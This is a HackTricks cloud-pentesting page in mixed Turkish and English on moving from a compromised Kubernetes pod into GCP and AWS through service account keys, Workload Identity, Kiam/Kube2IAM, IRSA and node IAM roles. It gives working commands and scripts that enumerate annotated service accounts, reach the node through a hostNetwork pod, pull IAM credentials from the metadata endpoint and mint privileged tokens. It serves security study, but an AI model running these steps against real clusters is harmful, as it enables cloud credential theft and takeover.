Kubernetes Pivoting to Clouds
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
GCP
If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
Mounting GCP-SA keys as secret
A common way to give access to a kubernetes application to GCP is to:
- GCP Service Account oluşturun
- Ona istenen izinleri atayın
- Oluşturulan SA için json anahtarını indirin
- Pod içinde bunu bir secret olarak mount edin
- GOOGLE_APPLICATION_CREDENTIALS environment variable’ını, json’un bulunduğu yolu gösterecek şekilde ayarlayın.
Warning
Bu nedenle, bir attacker olarak, eğer bir pod içindeki bir container’ı ele geçirirseniz, o env variable ve GCP kimlik bilgileri içeren json dosyalar için kontrol etmelisiniz.
Relating GSA json to KSA secret
A way to give access to a GSA to a GKE cluser is by binding them in this way:
- Aşağıdaki komutu kullanarak GKE cluster’ınızla aynı namespace içinde bir Kubernetes service account oluşturun:
kubectl create serviceaccount <service-account-name>
- GKE cluster’a erişim vermek istediğiniz GCP service account’un kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu aşağıdaki örnekte gösterildiği gibi
gcloudkomut satırı aracıyla yapabilirsiniz:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Aşağıdaki komutu kullanarak Kubernetes Secret’ı Kubernetes service account’a bağlayın:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
Warning
İkinci adımda GSA’nın kimlik bilgileri KSA’nın secret’ı olarak ayarlandı. Eğer bu secret’ı GKE kümesinin içinden okuyabilirseniz, o GCP service account’a yükseltebilirsiniz.
GKE Workload Identity
Workload Identity ile bir Kubernetes service account’u bir Google service account olarak davranacak şekilde yapılandırabiliriz. Kubernetes service account ile çalışan pod’lar Google Cloud API’lerine erişirken otomatik olarak Google service account olarak kimlik doğrulaması yapar.
The first series of steps to enable this behaviour is to enable Workload Identity in GCP (steps) and create the GCP SA you want k8s to impersonate.
- Enable Workload Identity on a new cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Yeni bir nodepool oluştur/güncelle (Autopilot clusters don’t need this)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- GCP izinlerine sahip K8s’ten taklit edilecek GCP Service Account oluşturun:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Connect yapıp cluster’a bağlanın ve kullanmak için service account create edin
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- GSA’yi KSA ile bağla
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- KSA ile bir pod çalıştırın ve GSA’ya access’ı kontrol edin:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Gerekirse kimlik doğrulamak için aşağıdaki komutu kontrol edin:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
Warning
K8s içinde bir saldırgan olarak SAs içinde
iam.gke.io/gcp-service-accountannotation olanları aramalısınız, çünkü bu SA’nın GCP’de bir şeye erişebileceğini gösterir. Diğer bir seçenek, kümedeki her bir KSA’yı kötüye kullanmayı denemek ve erişimi olup olmadığını kontrol etmektir.
GCP tarafında bindings’leri enumerate etmek ve Kubernetes içindeki SAs’lara hangi erişimi verdiğinizi bilmek her zaman ilginçtir.
Bu, o annotation’ı aramak için kolayca tüm pod tanımları üzerinde yineleme yapan bir script:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
An (eskimiş) way to give IAM Roles to Pods is to use a Kiam or a Kube2IAM sunucu. Basically you will need to run a daemonset in your cluster with a kind of privileged IAM role. This daemonset will be the one that will give access to IAM roles to the pods that need it.
First of all you need to configure which roles can be accessed inside the namespace, and you do that with an annotation inside the namespace object:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
namespace, Pods için yapılandırılan IAM rolleri ile ayarlandıktan sonra, her pod definition üzerinde istediğiniz rolü şu şekilde belirtebilirsiniz:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
Warning
Bir saldırgan olarak, eğer pods veya namespaces içinde ya da muhtemelen kube-system içinde çalışan bir kiam/kube2iam sunucusunda bu anotasyonları bulursanız, pods tarafından zaten kullanılan her role bürünebilir ve daha fazlasını yapabilirsiniz (AWS hesabına erişiminiz varsa rolleri listeleyin).
IAM Role ile Pod Oluşturma
Note
Belirtilecek IAM rolü, kiam/kube2iam rolü ile aynı AWS hesabında olmalı ve kiam/kube2iam rolünün bu role erişebilmesi gerekir.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
OIDC aracılığıyla K8s Service Accounts için IAM Role
Bu, AWS tarafından önerilen yöntemdir.
- Öncelikle küme için bir OIDC sağlayıcısı oluşturun.
- Sonra SA’nın ihtiyaç duyacağı izinlere sahip bir IAM role oluşturun.
- IAM role ile SA arasındaki trust relationship’i oluşturun; burada SA adını veya rolün namespace içindeki tüm SA’lara erişim vermesi için namespace’i belirtebilirsiniz. Trust relationship esas olarak OIDC provider adını, namespace adını ve SA adını kontrol eder.
- Son olarak, rolün ARN’sini gösteren bir annotation içeren bir SA oluşturun, ve o SA ile çalışan pod’lar rolün token’ına erişim sahibi olur. Token, bir dosyaya yazılır ve yol
AWS_WEB_IDENTITY_TOKEN_FILEile belirtilir (varsayılan:/var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
/var/run/secrets/eks.amazonaws.com/serviceaccount/token dosyasından get aws using the token almak için şu komutu çalıştırın:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
Warning
Bir saldırgan olarak, bir K8s cluster’ını enumerate edebiliyorsanız, service accounts with that annotation’ları escalate to AWS amacıyla kontrol edin. Bunu yapmak için IAM privileged service accounts’lardan biriyle bir pod’u exec/create edip token’ı çalın.
Ayrıca, eğer bir pod içindeyseniz, env variables like AWS_ROLE_ARN ve AWS_WEB_IDENTITY_TOKEN’ı kontrol edin.
Caution
Bazen bir Turst Policy of a role bad configured olabilir ve beklenen service account’a AssumeRole erişimi vermek yerine bunu all the service accounts’a verebilir. Bu nedenle, kontrolünüzdeki bir service account üzerine bir annotation yazabiliyorsanız, role erişebilirsiniz.
Check the following page for more information:
Cluster içinde IAM Roles olan Pods ve SAs’ı Bul
Bu, o annotation’ı aramak için tüm pods ve sas tanımlarında kolayca iterate over the all the pods and sas yapacak bir script’tir:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role ile cluster-admin
Önceki bölüm pods ile IAM Roles nasıl çalınacağını anlatıyordu, ancak bir K8s kümesinin Node’u bulut içinde bir instance olacaktır. Bu, Node’un büyük olasılıkla çalabileceğiniz bir IAM role’e sahip olacağı anlamına gelir (genellikle bir K8s kümesindeki tüm düğümlerin aynı IAM role’e sahip olduğu unutulmamalıdır; bu yüzden her düğümü ayrı ayrı kontrol etmeye değmeyebilir).
Node metadata endpoint’ine erişmek için şunlara ihtiyacınız var:
- Bir pod içinde olmak ve metadata endpoint’in en az 2 tcp hop üzerinden erişime izin verecek şekilde yapılandırılmış olması. Bu en yaygın yanlış yapılandırmadır; genellikle kümeyle ilişkili farklı pod’lar metadata endpoint’e erişim gerektirir ve birçok şirket tüm pod’lardan metadata endpoint’e erişime izin vermeyi seçer.
hostNetworketkinleştirilmiş bir pod içinde olmak.- Node’a kaçıp metadata endpoint’e doğrudan erişmek.
(Metadata endpoint’in her zamanki gibi 169.254.169.254 olduğunu unutmayın).
Node’a kaçmak için hostNetwork etkinleştirilmiş bir pod çalıştırmak üzere aşağıdaki komutu kullanabilirsiniz:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
IAM Role Token’ını Çalma
Daha önce, attach IAM Roles to Pods konusunu veya bir instance’a iliştirilmiş IAM Role’u çalmak için escape to the Node to steal the IAM Role yöntemini tartışmıştık.
Aşağıdaki script’i yeni emek vererek kazandığınız IAM role credentials’ı steal etmek için kullanabilirsiniz:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
Özetle: eğer bir pod’dan EKS Node IAM role’a erişim mümkünse, tüm kubernetes cluster’ı ele geçirmek mümkündür.
Daha fazla bilgi için this post bakın. Özet olarak, varsayılan olarak EKS node’larına atanan IAM rolü cluster içinde system:node rolüne sahiptir. Bu rol oldukça ilginçtir fakat kubernetes Node Restrictions ile sınırlandırılmıştır.
Bununla birlikte, node her zaman node içinde çalışan pod’lardaki service accounts için generate tokens for service accounts oluşturabilir. Yani, eğer node privileged service account’a sahip bir pod çalıştırıyorsa, node o service account için bir token oluşturup bu token’ı service account’ı taklit etmek için kullanabilir, örneğin:
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
Referanslar
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

